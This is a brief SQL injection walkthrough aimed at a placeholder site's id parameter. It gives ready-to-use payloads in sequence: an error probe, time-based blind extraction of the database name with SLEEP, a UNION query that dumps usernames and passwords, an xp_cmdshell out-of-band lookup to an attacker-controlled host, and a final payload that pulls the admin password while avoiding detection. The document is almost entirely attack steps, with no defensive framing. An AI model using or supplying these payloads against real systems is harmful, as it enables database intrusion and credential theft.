Initial Test for SQL Injection

• First, test if the id parameter is vulnerable by introducing a simple payload:
  bash
  
  http://example.com/product?id=5'
• If an error or unusual behavior appears, it indicates a potential SQL injection vulnerability.
  

Blind Injection with Conditional Delays

• To confirm a blind SQL injection vulnerability, we can test with a time delay:
  

         

http://example.com/product?id=5 AND IF(1=1, SLEEP(5), 0)--
         

• If the page takes significantly longer to load, it confirms the vulnerability. We can now proceed to extract data by using conditional logic.
  
  

Extract Database Name Using Time-Based Boolean Inference
Blind injection works by observing time delays based on conditions. Here’s how we can retrieve the database name character-by-character:

Start by checking the first letter of the database name:

http://example.com/product?id=5 AND IF(SUBSTRING(DATABASE(),1,1)='a', SLEEP(5), 0)--

• If the response is delayed, it means the first character of the database name is a. If not, change a to b, c, etc., until you find the correct character.
  
• Repeat this process for each position to gradually determine the full name of the database.
  

4. Extract User Information with UNION-Based Injection
Once we know the database name, we can use a UNION attack to retrieve user data. Suppose the database has a table named users with columns username and password.

http://example.com/product?id=5 UNION SELECT NULL, username, password FROM users--

If successful, this will return a list of usernames and passwords from the users table on the page.
5. Out-of-Band Data Extraction
If xp_cmdshell (in SQL Server) or similar commands are available, we can use out-of-band techniques to extract data to an external server. For example, in MSSQL:

http://example.com/product?id=5; EXEC xp_cmdshell('nslookup yourserver.com')--

6. Final Payload for Complex Data Extraction
Combine UNION, conditional delays, and blind SQL injection to extract entire tables without alerting the system.
For example, extracting sensitive data with a payload like this:

http://example.com/product?id=5 UNION SELECT NULL, username, password FROM users WHERE username='admin' AND IF(ASCII(SUBSTRING(password,1,1))=109, SLEEP(5), 0)--
